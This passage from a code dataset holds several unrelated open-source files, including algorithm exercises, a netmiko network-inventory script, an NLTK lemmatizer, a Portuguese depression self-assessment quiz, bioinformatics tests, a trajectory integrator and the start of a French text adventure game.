** 0.5 # 좌표 이용해서 선분 길이 구하기\n bc = ((xb-xc)**2 + (yb-yc)**2) ** 0.5\n ca = ((xc-xa)**2 + (yc-ya)**2) ** 0.5\n\n abc = sorted([ab, bc, ca]) # 가장 큰 둘레 길이 - 작은 둘레 길이 구하기\n print(2*(abc[2]-abc[0]))\n\n'''\n1. 직선 위에 세 점이 있을 경우 평행사변형을 만들 수 없음\n\t -> a점을 기준으로 b, c의 기울기를 구해서 같으면 -1 출력 \n\n2. 주어진 좌표로 선분 ab, bc, ca를 구한다\n\t (두 변을 기준으로 하는 평행사변형을 총 3개 만들 수 있음)\n\n3. 변의 길이가 x > y > z 라고 치면\n\t 가장 큰 둘레 길이와 가장 작은 둘레 길이의 차이는 (2(x+y) - 2(y+z)) -> 2(x-z)가 됨\n'''","repo_name":"danidanicarrotcarrot/algorithm","sub_path":"solved.ac/기하학/1064_평행사변형.py","file_name":"1064_평행사변형.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25811348429","text":"import math\ndata = []\n\ndef dfs(cnt,check,numbers,num):\n global data\n if len(num) == cnt:\n data.append(int(num))\n else:\n for i in range(len(numbers)):\n if check[i] == 0:\n num+=numbers[i]\n check[i] = 1\n dfs(cnt,check,numbers,num)\n num = num[:-1]\n check[i] = 0\n \ndef solution(numbers):\n global data\n answer = 0\n check = [0] * (len(numbers)+3)\n for i in range(1, len(numbers)+1):\n dfs(i,check,numbers,\"\")\n data = list(set(data))\n for number in data:\n if number == 1 or number == 0:\n continue\n flag = 1\n for i in range(2,number):\n if number%i==0:\n flag = 0\n break\n if flag == 1:\n answer+=1\n return answer","repo_name":"ji-hyeon97/PS-Exercise","sub_path":"프로그래머스/lv2/42839. 소수 찾기/소수 찾기.py","file_name":"소수 찾기.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"26317829617","text":"#!/usr/bin/python3\n# By NOMO\n\nfrom netmiko import Netmiko\nfrom getpass import getpass\nimport re\nimport os\nfrom pprint import pprint\nimport sys\nimport socket\n\n# Takes connection handler and command string.\n# Returns output of command as list of lines.\ndef getOutputLines( connection, command ):\n output = connection.send_command(command)\n output_lines = output.splitlines()\n return output_lines;\n\n\n# Function for DNS resolution\n\ndef hostnameLookup(hostname):\n try:\n socket.gethostbyname(hostname)\n return 1 # If lookup works\n except socket.error:\n return 0 # If lookup fails\n\n\n# Check arguments for hostname and hostname dns resolution\n\nif len(sys.argv) < 2:\n print(\"\\nMissing parameter. Please enter the nexus hostname or IP address:\")\n print(\"\\nUsage:\", sys.argv[0], \"\\n\\n\")\n exit()\nelif len(sys.argv) > 2:\n print(\"Too many parameters. Use a single hostname.\")\n exit()\n\nhostname_arg = sys.argv[1]\n\n\ndns_lookup_result = hostnameLookup(hostname_arg)\n\nif dns_lookup_result == 0:\n print(\"Hostname lookup failed. Please check name and retry.\")\n exit()\n\n\n# Device\n\nnexus = {\n 'host': hostname_arg,\n 'username': input(\"Enter your Username: \"),\n 'password': getpass(),\n 'device_type': 'cisco_nxos'\n}\n\nconn1 = Netmiko(**nexus)\ninterfaces = []\nresults = {}\n\n# Get all relevant interfaces into a list.\noutput_lines = getOutputLines(conn1, \"show interface status | i connected\")\n\nfor line in output_lines:\n interface = line.split()[0]\n interfaces.append(interface)\n\n# Use that list to create a dictionary interface:[attributes]\n# Starting with description and port-channel.\nfor interface in interfaces:\n description = \"\"\n channel_group = \"\"\n output_lines = getOutputLines(conn1, \"show run interface \" + interface)\n for line in output_lines:\n if \"description\" in line:\n description = line.replace(\",\", \" \")\n if \"channel-group\" in line:\n channel_group = line\n if len(description) == 0:\n description = \"NO_DESCRIPTION\"\n else:\n description = re.findall('description (.*)', description)[0]\n if len(channel_group) == 0:\n channel_group = \"NO_GROUP\"\n\n # Populate the dictionary with current attributes\n results[interface] = [description, channel_group]\n\n# Add cdp neighbor information to the list of attributes for each if.\noutput = conn1.send_command(\"show cdp neigh\", use_textfsm=True)\nfor device in output:\n neighbor = device['neighbor']\n local_if = device['local_interface']\n remote_if = device['neighbor_interface']\n for interface, attributes in results.items():\n interface_id = re.findall('\\d.*', interface)[0]\n if interface_id == re.findall('\\d.*', local_if)[0]:\n results[interface].append(\"CDP info: Connected to %s on %s\" % (neighbor, remote_if))\n\n# Dump results on CSV file\nfilename = \"connected_ifs_\" + nexus['host'] + \".csv\"\ncurrent_dir = os.getcwd()\nwith open(filename, 'w') as handle:\n for interface, attributes in results.items():\n handle.write(interface)\n for attribute in attributes:\n handle.write(',' + attribute)\n handle.write('\\n')\n#pprint(results)\nfile_path = current_dir + \"/\" + filename\nprint(\"\\n Results can be found in\" + file_path + \"\\n\")\n\n","repo_name":"otronomo/netmiko_based","sub_path":"nexus_interfaces.py","file_name":"nexus_interfaces.py","file_ext":"py","file_size_in_byte":3335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24005384643","text":"\nimport nltk\nfrom nltk.corpus import stopwords\nnltk.download('stopwords')\nnltk.download('punkt')\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.feature_extraction.text import ENGLISH_STOP_WORDS\nimport re\nimport string\n\nSTOPLIST = set(stopwords.words('english') + list(ENGLISH_STOP_WORDS))\n\ndef lemmaNLTK(sentence):\n # Assigning lemmatizer to variable\n lemmatizer = WordNetLemmatizer()\n # Tokenizing the words\n listofwords = re.split(\" |'\",sentence)\n # List for storing the words after lowercasing and removing punctuation\n listofwords2 = []\n listoflemma_words = []\n # List of punctuations\n table = str.maketrans(dict.fromkeys(string.punctuation)) # OR {key: None for key in string.punctuation} \n \n \n for word in listofwords:\n # Removing punctuaion\n word_p = word.translate(table)\n # Lower case\n word_l = word_p.lower()\n # Appending to list for next loop\n listofwords2.append(word_l)\n \n for word_l in listofwords2:\n # Ignore words in STOPLIST\n if word_l in STOPLIST: continue \n # Lemmatizing the words\n lemma_word = lemmatizer.lemmatize(word_l)\n # Appending lemmatized words to list\n listoflemma_words.append(lemma_word)\n\n # Removing empty entries from the list \n listoflemma_words = list(filter(None, listoflemma_words))\n \n return listoflemma_words","repo_name":"dhnascimento/epl-firings","sub_path":"lemmatizer.py","file_name":"lemmatizer.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3950124709","text":"import sys\nfrom time import sleep\n\n\nprint('-='*30)\nprint('Olá! Este algoritmo te ajuda a medir seu nivel de depressão, baseado no questionário DASS 21.\\n')\nprint('\\033[1;31mATENCAO! O resultado da avaliação não indica um diagnóstico conclusivo\\nPara determinar '\n'qualquer diagnóstico potencial discuta seu resultado com um psicólogo ou um médico psiquiatra.\\033[0;0m')\nprint('-='*30)\nsleep(5)\n\nprint('\\033[1;92m\\nSao 4 opcoes de resposta disponiveis abaixo: \\033[0;0m')\nprint('''\n\\033[1;36m0 --> NUNCA - Não se aplica a mim de forma alguma\\033[0;0m\n\\033[1;34m1 --> ÀS VEZES - Aplica-se a mim em algum grau, ou parte do tempo\\033[0;0m\n\\033[1;95m2 --> FREQUENTEMENTE - Aplica-se a mim em um grau considerável, ou boa parte do tempo\\033[0;0m\n\\033[1;33m3 --> QUASE SEMPRE- Aplica-se muito a mim, ou na maioria das vezes \\033[0;0m \\n ''')\nprint('-='*30)\nsleep(6)\n\nprint('\\033[1;31mApós digitar o número que corresponde à resposta, '\n 'pressione\\033[0;0m \\033[1;96mENTER\\033[0;0m. \\033[1;31mVamos começar ?\\n')\nsleep(3)\n\ndef p1_depressao():\n p1 = input(str('\\033[1;92mPergunta 1:\\033[0;0m Eu não consigo sentir nenhum sentimento positivo: '))\n if p1 in opcoes:\n return int(p1)\n else:\n print('\\033[1;31mOPS! Digite apenas número correspondente! \\033[1;31m ')\n return p1_depressao()\n \ndef p2_depressao():\n p2 = input(str('\\033[1;92mPergunta 2:\\033[0;0m Acho difícil desenvolver a iniciativa de fazer as coisas: \\033[0;0m'))\n if p2 in opcoes:\n return int(p2)\n else:\n print('\\033[1;31mOPS! Digite apenas número correspondente! \\033[1;31m ')\n return p2_depressao()\n \ndef p3_depressao():\n p3 = input(str('\\033[1;92mPergunta 3: \\033[0;0mSinto que não tenho nada pelo que ansiar: \\033[0;0m'))\n if p3 in opcoes:\n return int(p3)\n else:\n print('\\033[1;31mOPS! Digite apenas número correspondente! \\033[1;31m ')\n return p3_depressao()\n \ndef p4_depressao():\n p4 = input(str('\\033[1;92mPergunta 4: \\033[0;0mSinto o coração desanimado e triste: \\033[0;0m'))\n if p4 in opcoes:\n return int(p4)\n else:\n print('\\033[1;31mOPS! Digite apenas número correspondente! \\033[1;31m ')\n return p4_depressao()\n\ndef p5_depressao():\n p5 = input(str('\\033[1;92mPergunta 5: \\033[0;0mNão consigo ficar entusiasmado com nada: \\033[0;0m'))\n if p5 in opcoes:\n return int(p5)\n else:\n print('\\033[1;31mOPS! Digite apenas número correspondente! \\033[1;31m ')\n return p5_depressao()\n\ndef p6_depressao():\n p6 = input(str('\\033[1;92mPergunta 6: \\033[0;0mSinto que não tenho valor como pessoa: \\033[0;0m'))\n if p6 in opcoes:\n return int(p6)\n else:\n print('\\033[1;31mOPS! Digite apenas número correspondente! \\033[1;31m ')\n return p6_depressao()\n\ndef p7_depressao():\n p7 = input(str('\\033[1;92mPergunta 7: \\033[0;0mSinto que a vida não tem ou faz sentido: \\033[0;0m'))\n if p7 in opcoes:\n return int(p7)\n else:\n print('\\033[1;31mOPS! Digite apenas número correspondente! \\033[1;31m ')\n return p7_depressao()\n \ndef exibir_resultado_depressao(resultado, nivel):\n if resultado <= 4:\n print(nivel[1])\n elif resultado <= 6:\n print(nivel[2])\n elif resultado <= 10:\n print(nivel[3])\n elif resultado <= 13:\n print(nivel[4])\n else:\n if resultado >= 14:\n print(nivel[5])\n \n#-----------------------------------------------------------------------------\n\n#lista de opcoes para o usuario\nopcoes = ['0','1','2','3']\n\n#dicionario com todas as funcoes que executam as perguntas\ndic = {'p1' : p1_depressao(),\n 'p2' : p2_depressao(),\n 'p3' : p3_depressao(),\n 'p4' : p4_depressao(),\n 'p5' : p5_depressao(),\n 'p6' : p6_depressao(),\n 'p7' : p7_depressao()\n }\n\n#dicionario com as respostas pré-definidas\nnivel = {\n 1 : '\\nNORMAL - Está tudo bem! Só fique atento a qualquer alteração de humor. ',\n \n 2 : '\\n\\033[1;34mSUAVE - Nada sério por enquanto! Por hora você pode ler um pouco mais sobre a depressão. '\n '\\033[1;96mAcesse o site vittude.com e baixe grátis o e-book \"Depressão, como ela é?\".\\033[0;0m',\n \n 3 : '\\n\\033[1;33mMODERADO - Sinal amarelo!\\033[0;0m É bom entender melhor se é fruto da situação ou algo mais grave. '\n 'Fale online com um psicólogo. \\033[0;0m \\033[1;96mAcesse vittude.com e encontre um psicólogo para atendimento online.\\033[0;0m',\n \n 4 : '\\n\\033[1;33mSEVERO - Fique atento! Este grau de severidade requer apoio de um profissional. '\n 'Recomendamos que você busque um psicólogo ou psiquiatra para diagnóstico adequado. '\n '\\033[1;96mA vittude.com oferece mais de 1000 psicólogos espalhados pelo Brasil, encontre o seu.\\033[0;0m',\n \n 5 : '\\n\\033[1;33mEXTREMAMENTE SEVERO - Atenção! Essa é uma situação crítica. '\n 'Recomendamos que você busque um psicólogo ou psiquiatra para diagnóstico adequado.\\033[0;0m '\n '\\033[1;96mO site vittude.com oferece mais de 1000 psicólogos espalhados pelo Brasil\\033[0;0m.'\n }\n\n#esta variavel armazena a soma de todas as respostas do usuario\nresultado = sum(dic.values())\n\n#esta funcao verifica o resultado e exibe o nivel de depressao para o usuario\nexibir_resultado_depressao(resultado, nivel)\n\n#encerra o algoritmo\nsys.exit(0)\n\nif __name__ == '__main__':\n main()","repo_name":"oliveirafo/algoritmo-medidor-de-depressao","sub_path":"Algoritmo - Nivel Depressao.py","file_name":"Algoritmo - Nivel Depressao.py","file_ext":"py","file_size_in_byte":5488,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12000955594","text":"import pytest\n\nfrom mock import patch, call\nfrom pathlib import Path\nimport sys\n\nfrom biokit.biokit import Biokit\n\n\nhere = Path(__file__)\n\n\n@pytest.mark.integration\nclass TestConsensusSequence(object):\n @patch(\"builtins.print\")\n def test_pssm_invalid_input(self, mocked_print): # noqa\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n Biokit()\n\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 2\n\n @patch(\"builtins.print\")\n def test_pssm_simple(self, mocked_print):\n expected_result = {\n 'pssm': [\n ('A', {'A': 5.0, 'C': 0, 'G': 0, 'T': 0}),\n ('X', {'A': 0, 'C': 1.0, 'G': 1.0, 'T': 0}),\n ('X', {'A': 2.0, 'C': 0, 'G': 3.0, 'T': 0}),\n ('T', {'A': 0, 'C': 0, 'G': 0, 'T': 1.0}),\n ('X', {'A': 2.0, 'C': 0, 'G': 0, 'T': 3.0}),\n ('X', {'A': 2.0, 'C': 0, 'G': 0, 'T': 2.0})\n ]\n }\n\n testargs = [\n \"biokit\",\n \"position_specific_score_matrix\",\n f\"{here.parent.parent.parent}/sample_files/simple.fa\",\n ]\n with patch.object(sys, \"argv\", testargs):\n Biokit()\n assert mocked_print.mock_calls == [call(expected_result)]\n\n @patch(\"builtins.print\")\n def test_pssm_simple_alias(self, mocked_print):\n expected_result = {\n 'pssm': [\n ('A', {'A': 5.0, 'C': 0, 'G': 0, 'T': 0}),\n ('X', {'A': 0, 'C': 1.0, 'G': 1.0, 'T': 0}),\n ('X', {'A': 2.0, 'C': 0, 'G': 3.0, 'T': 0}),\n ('T', {'A': 0, 'C': 0, 'G': 0, 'T': 1.0}),\n ('X', {'A': 2.0, 'C': 0, 'G': 0, 'T': 3.0}),\n ('X', {'A': 2.0, 'C': 0, 'G': 0, 'T': 2.0})\n ]\n }\n\n testargs = [\n \"biokit\",\n \"pssm\",\n f\"{here.parent.parent.parent}/sample_files/simple.fa\",\n ]\n with patch.object(sys, \"argv\", testargs):\n Biokit()\n assert mocked_print.mock_calls == [call(expected_result)]\n","repo_name":"JLSteenwyk/BioKIT","sub_path":"tests/integration/alignment/test_position_specific_score_matrix.py","file_name":"test_position_specific_score_matrix.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"82"} +{"seq_id":"38310570534","text":"from google.datacatalog_connectors.commons import prepare\n\nfrom google.datacatalog_connectors.tableau.prepare import \\\n constants, datacatalog_entry_factory, datacatalog_tag_factory\n\n\nclass AssembledEntryFactory:\n\n def __init__(self, project_id, location_id, entry_group_id,\n user_specified_system, server_address):\n\n self.__datacatalog_entry_factory = \\\n datacatalog_entry_factory.DataCatalogEntryFactory(\n project_id, location_id, entry_group_id, user_specified_system,\n server_address)\n\n def make_entries_for_dashboards(self, dashboards_metadata,\n tag_templates_dict):\n\n tag_template_workbook = tag_templates_dict.get(\n constants.TAG_TEMPLATE_ID_WORKBOOK)\n\n tag_template_dashboard = tag_templates_dict.get(\n constants.TAG_TEMPLATE_ID_DASHBOARD)\n\n assembled_entries = []\n for dashboard_metadata in dashboards_metadata:\n # Temporary objects to fulfill Data Catalog Entry relationships\n # comprising Dashboards and the Workbooks they belong to.\n # Such objects have incomplete information and must not be ingested\n # into Data Catalog.\n workbook_metadata = dashboard_metadata.get('workbook')\n if workbook_metadata:\n assembled_entries.append(\n self.__make_entry_for_workbook(workbook_metadata,\n tag_template_workbook))\n\n assembled_entries.append(\n self.__make_entry_for_dashboard(dashboard_metadata,\n tag_template_dashboard))\n\n return assembled_entries\n\n def make_entries_for_sites(self, sites_metadata, tag_templates_dict):\n assembled_entries = []\n for site_metadata in sites_metadata:\n workbooks_metadata = site_metadata.get('workbooks')\n assembled_entries.extend(\n self.make_entries_for_workbooks(workbooks_metadata,\n tag_templates_dict))\n\n return assembled_entries\n\n def make_entries_for_workbooks(self, workbooks_metadata,\n tag_templates_dict):\n\n tag_template_workbook = tag_templates_dict.get(\n constants.TAG_TEMPLATE_ID_WORKBOOK)\n\n tag_template_sheet = tag_templates_dict.get(\n constants.TAG_TEMPLATE_ID_SHEET)\n\n assembled_entries = []\n for workbook_metadata in workbooks_metadata:\n assembled_entries.append(\n self.__make_entry_for_workbook(workbook_metadata,\n tag_template_workbook))\n\n sheets_metadata = workbook_metadata.get('sheets')\n assembled_entries.extend(\n self.__make_entries_for_sheets(sheets_metadata,\n workbook_metadata,\n tag_template_sheet))\n\n return assembled_entries\n\n def __make_entry_for_dashboard(self, dashboard_metadata, tag_template):\n entry_id, entry = \\\n self.__datacatalog_entry_factory.make_entry_for_dashboard(\n dashboard_metadata)\n\n tags = []\n if tag_template:\n tags.append(\n datacatalog_tag_factory.DataCatalogTagFactory.\n make_tag_for_dashboard(tag_template, dashboard_metadata))\n\n return prepare.AssembledEntryData(entry_id, entry, tags)\n\n def __make_entry_for_workbook(self, workbook_metadata, tag_template):\n entry_id, entry = \\\n self.__datacatalog_entry_factory.make_entry_for_workbook(\n workbook_metadata)\n\n tags = []\n if tag_template:\n tags.append(\n datacatalog_tag_factory.DataCatalogTagFactory.\n make_tag_for_workbook(tag_template, workbook_metadata))\n\n return prepare.AssembledEntryData(entry_id, entry, tags)\n\n def __make_entries_for_sheets(self, sheets_metadata, workbook_metadata,\n tag_template):\n entries = []\n for sheet_metadata in sheets_metadata:\n entries.append(\n self.__make_entry_for_sheet(sheet_metadata, workbook_metadata,\n tag_template))\n\n return entries\n\n def __make_entry_for_sheet(self, sheet_metadata, workbook_metadata,\n tag_template):\n entry_id, entry = \\\n self.__datacatalog_entry_factory.make_entry_for_sheet(\n sheet_metadata,\n workbook_metadata)\n\n tags = []\n if tag_template:\n tags.append(\n datacatalog_tag_factory.DataCatalogTagFactory.\n make_tag_for_sheet(tag_template, sheet_metadata,\n workbook_metadata))\n\n return prepare.AssembledEntryData(entry_id, entry, tags)\n","repo_name":"GoogleCloudPlatform/datacatalog-connectors-bi","sub_path":"google-datacatalog-tableau-connector/src/google/datacatalog_connectors/tableau/prepare/assembled_entry_factory.py","file_name":"assembled_entry_factory.py","file_ext":"py","file_size_in_byte":5024,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"82"} +{"seq_id":"7370459619","text":"from Dynamics import dynamics, frames\nfrom Aerothermo import aerothermo\nfrom Forces import forces\nimport pymap3d\nimport numpy as np\nfrom scipy.spatial.transform import Rotation as Rot\nfrom Output import output\nimport pyquaternion\nfrom Freestream import gram\nfrom Model import drag_model\n\ndef compute_Euler(titan, options):\n \"\"\"\n Euler integration\n\n Parameters\n ----------\n titan: Assembly_list\n Object of class Assembly_list\n options: Options\n Object of class Options\n \"\"\"\n\n aerothermo.compute_aerothermo(titan, options)\n\n forces.compute_aerodynamic_forces(titan, options)\n forces.compute_aerodynamic_moments(titan, options)\n\n # Writes the output data before\n output.write_output_data(titan = titan, options = options)\n\n # Loop over the assemblies and compute the dericatives\n for assembly in titan.assembly:\n angularDerivatives = dynamics.compute_angular_derivatives(assembly)\n cartesianDerivatives = dynamics.compute_cartesian_derivatives(assembly, options)\n update_position_cartesian(assembly, cartesianDerivatives, angularDerivatives, options)\n \ndef update_position_cartesian(assembly, cartesianDerivatives, angularDerivatives, options):\n \"\"\"\n Update position and attitude of the assembly\n\n Parameters\n ----------\n assembly: Assembly\n Object of class Assembly\n cartesianDerivatives: DerivativesCartesian\n Object of class DerivativesCartesian\n angularDerivatives: DerivativesAngle\n Object of class DerivativesAngle\n options: Options\n Object of class Options\n \"\"\"\n\n dt = options.dynamics.time_step\n\n assembly.position[0] += dt*cartesianDerivatives.dx\n assembly.position[1] += dt*cartesianDerivatives.dy\n assembly.position[2] += dt*cartesianDerivatives.dz\n assembly.velocity[0] += dt*cartesianDerivatives.du\n assembly.velocity[1] += dt*cartesianDerivatives.dv\n assembly.velocity[2] += dt*cartesianDerivatives.dw\n\n q = assembly.quaternion\n\n # Get the new latitude, longitude and altitude\n [latitude, longitude, altitude] = pymap3d.ecef2geodetic(assembly.position[0], assembly.position[1], assembly.position[2],\n ell=pymap3d.Ellipsoid(semimajor_axis = options.planet.ellipsoid()['a'], semiminor_axis = options.planet.ellipsoid()['b']),\n deg = False);\n\n assembly.trajectory.latitude = latitude\n assembly.trajectory.longitude = longitude\n assembly.trajectory.altitude = altitude\n\n [vEast, vNorth, vUp] = pymap3d.uvw2enu(assembly.velocity[0], assembly.velocity[1], assembly.velocity[2], latitude, longitude, deg=False)\n\n gamma = np.arcsin(np.dot(assembly.position, assembly.velocity)/(np.linalg.norm(assembly.position)*np.linalg.norm(assembly.velocity)))\n assembly.trajectory.chi = np.arctan2(vEast,vNorth)\n \n R_NED_ECEF = frames.R_NED_ECEF(lat = assembly.trajectory.latitude, lon = assembly.trajectory.longitude)\n\n #Should it be like this??\n R_B_NED_quat = (R_NED_ECEF).inv()*Rot.from_quat(assembly.quaternion)\n [yaw,pitch,roll] = R_B_NED_quat.as_euler('ZYX')\n\n assembly.yaw = yaw\n assembly.pitch = pitch\n assembly.roll = roll\n\n #ECEF_2_B\n [Vx_B, Vy_B, Vz_B] = Rot.from_quat(assembly.quaternion).inv().apply(assembly.velocity)\n assembly.trajectory.velocity = np.linalg.norm([Vx_B, Vy_B, Vz_B])\n\n assembly.aoa = np.arctan2(Vz_B,Vx_B)\n assembly.slip = np.arcsin(Vy_B/np.sqrt(Vx_B**2 + Vy_B**2 + Vz_B**2))\n\n # Integrates the quaternion with respect to the angular velocities and the time-steo\n py_quat = pyquaternion.Quaternion(q[3],q[0],q[1],q[2])\n \n py_quat.integrate([angularDerivatives.droll, angularDerivatives.dpitch,angularDerivatives.dyaw], dt)\n assembly.quaternion = np.append(py_quat.vector, py_quat.real)\n\n assembly.roll_vel += dt*angularDerivatives.ddroll\n assembly.pitch_vel += dt*angularDerivatives.ddpitch\n assembly.yaw_vel += dt*angularDerivatives.ddyaw\n\n # angle of attack is zero if a Drag model is specified, so pitch needs to follow the flght path angle\n \n if options.vehicle:# and options.vehicle.Cd:\n assembly.roll_vel = 0\n assembly.pitch_vel = (gamma-assembly.pitch)/dt\n assembly.yaw_vel = 0\n \n assembly.trajectory.gamma = gamma","repo_name":"strath-ace/TITAN","sub_path":"Dynamics/euler.py","file_name":"euler.py","file_ext":"py","file_size_in_byte":4313,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"8610420500","text":"# - *- coding: utf- 8 - *-\nimport re\nimport random\nimport logging\nimport requests\nfrom datetime import datetime\n\nimport config\nfrom utils.decorators import catcherError\nfrom utils.bot_cmds import restart\n\n@catcherError\ndef listener(messages):\n for m in messages:\n if m.content_type == 'text':\n print(str(m.from_user.username) + \" [\" + str(m.chat.id) + \"]: \" + m.text)\n try:\n print(f'knownUsers:{knownUsers}\\nuserStep:{userStep}')\n except Exception as e:\n pass\n\n@catcherError\ndef log(e):\n print(e)\n logging.exception(str(datetime.now().strftime('%Y-%m-%d %H:%M:%S')))\n\n\ndef randWord(count):\n chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'\n number = 1\n length = count\n for pwd in range(number):\n word = ''\n for c in range(length):\n word += random.choice(chars)\n return word\n\n@catcherError\ndef get_user_step(bot, uid):\n if uid in config.userStep:\n return config.userStep[uid]\n else:\n restart(bot, uid)\n","repo_name":"CodeGolick/youtuble_link_share","sub_path":"utils/bot_functions.py","file_name":"bot_functions.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37665599993","text":"# Uses python3\ndef calc_fib(n):\n if (n <= 1):\n return n\n\n return calc_fib(n - 1) + calc_fib(n - 2)\n\n#Fibonacci using eucledian Algorithm\ndef fibonacci(n):\n fib = [0,1]\n for i in range(2,n+1):\n fib.append(fib[i-1]+fib[i-2])\n return fib[n]\nn = int(input())\nprint(fibonacci(n))\n","repo_name":"thesharpshooter/courseraDataStructureAndAlgorithm","sub_path":"algorithmicToolbox/week2/assignment/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43441282934","text":"\nimport requests\n\ndomainlist = [\"csdn.net\", \"youku.com\", \"wappalyzer.com\"]\nfor domain in domainlist:\n # 这边填你的内网服务器地址,端口8000\n req = requests.get(\"http://192.168.231.129:8000\", params={\"domain\": domain})\n print(req.text, type(req.text))\n\n\n\n","repo_name":"zengxiaomenger/230824webcomponent","sub_path":"webcomponent-main/componentClient.py","file_name":"componentClient.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11614330049","text":"import sys\n\n# global variables\ngraph = []\nN = 0\nMAX_N = 1000\n\n\n# Description:\n# Time complexity:\n# Space complexity:\ndef solve(preferences, n):\n if trace(0, n - 1, list(), preferences):\n print('O')\n else:\n print('X')\n\n\ndef trace(n, limit_n, seats_taken, all_preferences):\n prefs = all_preferences[n]\n for pref in prefs:\n if n == limit_n:\n if pref not in seats_taken:\n return True\n else:\n continue\n\n if pref not in seats_taken:\n # take the seat\n seats_taken.append(pref)\n print(seats_taken)\n\n if not trace(n + 1, limit_n, seats_taken, all_preferences):\n seats_taken.pop()\n continue\n else:\n return True\n else:\n return False\n return False\n\n\nif __name__ == '__main__':\n T = int(sys.stdin.readline())\n for t in range(T):\n N = int(sys.stdin.readline())\n graph = [[0] * N for _ in range(N)]\n # read inputs\n K = int(sys.stdin.readline())\n preferences = [list() for _ in range(N)]\n for _ in range(K):\n P, S = tuple(int(x) for x in sys.stdin.readline().strip().split(' '))\n graph[P][S] = 1\n preferences[P].append(S)\n\n print(preferences, end='\\n\\n')\n solve(preferences, N)\n","repo_name":"dansuh17/dansuh_algorithms","sub_path":"python/seats.py","file_name":"seats.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"33272095794","text":"from setup import main_setup\nfrom gestion_inventaire import ajout_joueur, sauvegardes, get_use, use, afficher_joueur\nimport time\nfrom histoire_principale import *\nfrom colorama import Fore,Style\nfrom auto import wait_spacebar\n\nfrom classes import *\n\ndef initialisation_jeu():\n \"\"\"\n Cette fonction permet d'initialiser le jeu. elle retourne 1\n \"\"\"\n main_setup()\n print(\"\\n > Bienvenue sur Iltras, ce jeu narratif d'un univers de fantasy a été développé initialement lors d'un projet de première par Léo et Evann! \\n \\n\")\n return 1\n\ndef debut():\n \"\"\"Ce programme sert à choisir sa classe de personnage.\n préconditions: le joueur doit choisir une classe avec un numéro allant de 1 à 3.\n postconditions: le programme renvoit un numéro associer à une classe (1,2 ou 3)\n \"\"\"\n choix_joueur=\"0\"\n while (\n not(int(choix_joueur) in range(0, 8))\n ):\n choix_joueur = input(\"Il est temps de choisir une classe : \\n1-Chevalier \\n2-Clypeus \\n3-Lutin \\n4-Joe Biden \\n5-Mario \\n6-Shrek \\n7-Grand chanceux \\n->\")\n print(\"------------------------------------------------\")\n return choix_joueur\n\n\ndef choix_nom():\n '''\n Ce programme permet au joueur de choisir son nom d'aventurier/aventurière.\n '''\n choix_nom_joueur = \"0xD8xx9x2I92901010001100111101101010100011110011010VOUSAVEZTROUVELESECRETEASTEREGGAHAHNONENFAITECESJUSTEQUEJAIBESOINDEREMPLIRUNGRANDNOMBREDECARACTERESVRAIMENTILYARIENAVOIRAHAHBYE11011011\"\n while len(choix_nom_joueur) > 20:\n choix_nom_joueur=input(\"Quel est ton nom, aventurier/ aventurière ?\\\n \\n -> \")\n Classes.nom = choix_nom_joueur\n if len(choix_nom_joueur) <= 20:\n time.sleep(0.5)\n print(choix_nom_joueur,\"? Quel beau nom. Enchanté!\")\n time.sleep(0.7)\n return choix_nom_joueur\n\n else:\n print(Fore.RED + \"⚠️ Il faut que votre nom soit de 20 lettres maximum.\")\n print(Style.RESET_ALL)\n\ndef classe_choix():\n \"\"\"\n Ce programme sert à choisir la classe, qui sera définitif. Elle définie les statistiques. \n \"\"\"\n print(\"------------------------------------------------\")\n print(\"Bonjour à toi aventurier, bienvenue dans le monde d'Iltras !\")\n print(\"------------------------------------------------\")\n nom=choix_nom()\n print(\"Maintenant,\",nom,\", tu dois choisir une classe.\")\n print(\"------------------------------------------------\")\n c_c = debut()\n stat = classe_chevalier.get_stats()\n if c_c == \"1\":\n print(\"Par la bénédiction de la sainte frite, te voila Chevalier !!!\")\n stat = classe_chevalier.get_stats()\n elif c_c == \"2\":\n print(\"Mais que voila est-ce un mur,non ça m'a l'air plus dur, voici donc le fameux Clypeus !!\")\n stat = classe_bouclier.get_stats()\n elif c_c == \"3\":\n print(\"Saperlipopette ! Par la magie des bottes de Merlin ! Enchanté! This is THE Lutin !!\")\n stat = classe_lutin.get_stats()\n elif c_c == \"4\":\n print(\"Vous voilà maintenant comme le président de l'Amérique (en 2021), enfin, vous n'êtes pas président...!\")\n stat = classe_president.get_stats()\n elif c_c == \"5\":\n print(\"Yahoo! Mario fait son entrée spétaculaire!\")\n stat= classe_mario.get_stats()\n elif c_c == \"6\":\n print(\"Shrek? Vraiment? Voilà Shrek!\")\n stat= classe_shrek.get_stats()\n elif c_c == \"7\":\n print(\"Si tu as de la chance, passe, et si le destin t'est favorable, marche.\")\n stat= 